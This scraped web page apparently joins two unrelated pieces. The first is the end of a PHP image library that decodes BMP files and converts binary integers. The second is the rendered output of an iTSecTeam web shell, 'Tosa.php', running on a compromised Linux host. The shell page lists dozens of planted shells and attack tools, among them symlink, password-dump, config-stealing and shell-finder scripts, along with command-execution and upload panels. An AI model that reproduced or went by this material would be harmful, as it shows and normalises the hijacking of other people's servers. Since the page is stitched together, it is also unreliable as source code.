for ($r 0x00$r <= 0xFF$r += 0x33) {
                    for (
$g 0x00$g <= 0xFF$g += 0x33) {
                        for (
$b 0x00$b <= 0xFF$b += 0x33) {
                            
ImageColorAllocate($gd$r$g$b);
                        }
                    }
                }
            }

        }
        if (!
is_resource($gd)) {
            return 
false;
        }

        foreach (
$BMPdata['data'] as $row => $colarray) {
            if (!
phpthumb_functions::FunctionIsDisabled('set_time_limit')) {
                
set_time_limit(30);
            }
            foreach (
$colarray as $col => $color) {
                list(
$red$green$blue) = $this->IntColor2RGB($color);
                if (
$truecolor) {
                    
$pixelcolor ImageColorAllocate($gd$red$green$blue);
                } else {
                    
$pixelcolor ImageColorClosest($gd$red$green$blue);
                }
                
ImageSetPixel($gd$col$row$pixelcolor);
            }
        }
        return 
$gd;
    }

    function 
PlotBMP(&$BMPinfo) {
        
$starttime time();
        if (!isset(
$BMPinfo['bmp']['data']) || !is_array($BMPinfo['bmp']['data'])) {
            echo 
'ERROR: no pixel data<BR>';
            return 
false;
        }
        if (!
phpthumb_functions::FunctionIsDisabled('set_time_limit')) {
            
set_time_limit(intval(round($BMPinfo['resolution_x'] * $BMPinfo['resolution_y'] / 10000)));
        }
        
$im $this->PlotPixelsGD($BMPinfo['bmp']);
        if (
headers_sent()) {
            echo 
'plotted '.($BMPinfo['resolution_x'] * $BMPinfo['resolution_y']).' pixels in '.(time() - $starttime).' seconds<BR>';
            
ImageDestroy($im);
            exit;
        } else {
            
header('Content-Type: image/png');
            
ImagePNG($im);
            
ImageDestroy($im);
            return 
true;
        }
        return 
false;
    }

    function 
BMPcompressionWindowsLookup($compressionid) {
        static 
$BMPcompressionWindowsLookup = array(
            
=> 'BI_RGB',
            
=> 'BI_RLE8',
            
=> 'BI_RLE4',
            
=> 'BI_BITFIELDS',
            
=> 'BI_JPEG',
            
=> 'BI_PNG'
        
);
        return (isset(
$BMPcompressionWindowsLookup[$compressionid]) ? $BMPcompressionWindowsLookup[$compressionid] : 'invalid');
    }

    function 
BMPcompressionOS2Lookup($compressionid) {
        static 
$BMPcompressionOS2Lookup = array(
            
=> 'BI_RGB',
            
=> 'BI_RLE8',
            
=> 'BI_RLE4',
            
=> 'Huffman 1D',
            
=> 'BI_RLE24',
        );
        return (isset(
$BMPcompressionOS2Lookup[$compressionid]) ? $BMPcompressionOS2Lookup[$compressionid] : 'invalid');
    }


    
// from getid3.lib.php

    
function trunc($floatnumber) {
        
// truncates a floating-point number at the decimal point
        // returns int (if possible, otherwise float)
        
if ($floatnumber >= 1) {
            
$truncatednumber floor($floatnumber);
        } elseif (
$floatnumber <= -1) {
            
$truncatednumber ceil($floatnumber);
        } else {
            
$truncatednumber 0;
        }
        if (
$truncatednumber <= 1073741824) { // 2^30
            
$truncatednumber = (int) $truncatednumber;
        }
        return 
$truncatednumber;
    }

    function 
LittleEndian2Int($byteword) {
        
$intvalue 0;
        
$byteword strrev($byteword);
        
$bytewordlen strlen($byteword);
        for (
$i 0$i $bytewordlen$i++) {
            
$intvalue += ord($byteword{$i}) * pow(256, ($bytewordlen $i));
        }
        return 
$intvalue;
    }

    function 
BigEndian2Int($byteword) {
        return 
$this->LittleEndian2Int(strrev($byteword));
    }

    function 
BigEndian2Bin($byteword) {
        
$binvalue '';
        
$bytewordlen strlen($byteword);
        for (
$i 0$i $bytewordlen$i++) {
            
$binvalue .= str_pad(decbin(ord($byteword{$i})), 8'0'STR_PAD_LEFT);
        }
        return 
$binvalue;
    }

    function 
FixedPoint2_30($rawdata) {
        
$binarystring $this->BigEndian2Bin($rawdata);
        return 
$this->Bin2Dec(substr($binarystring02)) + (float) ($this->Bin2Dec(substr($binarystring230)) / 1073741824);
    }

    function 
Bin2Dec($binstring$signed=false) {
        
$signmult 1;
        if (
$signed) {
            if (
$binstring{0} == '1') {
                
$signmult = -1;
            }
            
$binstring substr($binstring1);
        }
        
$decvalue 0;
        for (
$i 0$i strlen($binstring); $i++) {
            
$decvalue += ((int) substr($binstringstrlen($binstring) - $i 11)) * pow(2$i);
        }
        return 
$this->CastAsInt($decvalue $signmult);
    }

    function 
CastAsInt($floatnum) {
        
// convert to float if not already
        
$floatnum = (float) $floatnum;

        
// convert a float to type int, only if possible
        
if ($this->trunc($floatnum) == $floatnum) {
            
// it's not floating point
            
if ($floatnum <= 1073741824) { // 2^30
                // it's within int range
                
$floatnum = (int) $floatnum;
            }
        }
        return 
$floatnum;
    }

}

?>

Warning: filesize() [function.filesize]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

Warning: filectime() [function.filectime]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

Warning: fileperms() [function.fileperms]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664
iTSecTeam
Operation System : Linux rs4.webd.pl 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 | Php Version : 5.2.13 | Safe Mode : Off

Now Directory : /home/redpine/public_html/tmp/

symlink13/07/15755DLMoveCopyRenDel
sym13/07/12755DLMoveCopyRenDel
mr13/10/16755DLMoveCopyRenDel
perl13/07/15755DLMoveCopyRenDel
msd13/07/14755DLMoveCopyRenDel
hossein13/10/16755DLMoveCopyRenDel
install_51973efe3083713/05/18755DLMoveCopyRenDel
b4ck.php803 B13/07/16644EditDLMoveCopyRenDel
TeamPS.php62.15 KB13/07/14644EditDLMoveCopyRenDel
weeb.php74.8 KB13/08/09644EditDLMoveCopyRenDel
new.pl910 B13/07/21644EditDLMoveCopyRenDel
adm.php52.29 KB13/08/05644EditDLMoveCopyRenDel
idc.php187 B13/07/14644EditDLMoveCopyRenDel
cp.php29.37 KB13/07/16644EditDLMoveCopyRenDel
us.pl1.23 KB13/07/15644EditDLMoveCopyRenDel
symlink_sa.php26.67 KB13/07/12644EditDLMoveCopyRenDel
passwd.php1.33 KB13/07/12644EditDLMoveCopyRenDel
wss.php16.42 KB13/08/05644EditDLMoveCopyRenDel
Mr.HiTman.txt B70/01/010EditDLMoveCopyRenDel
domain.php2.17 KB13/07/12644EditDLMoveCopyRenDel
jic.php14.1 KB13/08/05644EditDLMoveCopyRenDel
php.ini24 B13/11/22644EditDLMoveCopyRenDel
shells-goes-here.txt2.88 KB13/11/22644EditDLMoveCopyRenDel
ro.pHp126.63 KB13/10/16644EditDLMoveCopyRenDel
acidshell.php184.29 KB13/07/30644EditDLMoveCopyRenDel
persia.php47.76 KB13/07/14644EditDLMoveCopyRenDel
sajjad.php1.59 KB13/08/05644EditDLMoveCopyRenDel
Saudi.php13.44 KB13/07/14644EditDLMoveCopyRenDel
webadmin.php68.83 KB13/07/14644EditDLMoveCopyRenDel
index.php5.47 KB13/08/06644EditDLMoveCopyRenDel
Tosa.php85.29 KB13/11/08644EditDLMoveCopyRenDel
Symlink4.php88.11 KB13/07/16644EditDLMoveCopyRenDel
.htaccess0 B13/11/22644EditDLMoveCopyRenDel
agha.ahmad.php1.35 KB13/08/06644EditDLMoveCopyRenDel
config.php1.48 KB13/07/12644EditDLMoveCopyRenDel
hossein.php1.35 KB13/10/16644EditDLMoveCopyRenDel
passwd.txt46.71 KB13/07/12644EditDLMoveCopyRenDel
index.html31 B13/05/18644EditDLMoveCopyRenDel
majid.html3.04 KB13/07/10644EditDLMoveCopyRenDel
sql.php36.62 KB13/11/09644EditDLMoveCopyRenDel
wic.php16.82 KB13/08/05644EditDLMoveCopyRenDel
storm.php711.52 KB13/07/16644EditDLMoveCopyRenDel
configuration-killer.php14.2 KB13/07/12644EditDLMoveCopyRenDel
shellfinder.php13.82 KB13/07/16644EditDLMoveCopyRenDel
hd.php149.68 KB13/10/16644EditDLMoveCopyRenDel
index.htm5.47 KB13/08/06644EditDLMoveCopyRenDel
config.pl5.63 KB13/07/12755EditDLMoveCopyRenDel
ss.php0 B13/11/22644EditDLMoveCopyRenDel
Directory : 7 -- File : 41

Command Execute :

Change Dir :

Edit File :

Create Dir :

Create File :

Upload :
Maximum Size : 32M

iTSecTeam.com
Coded by Amin Shokohi (Pejvak)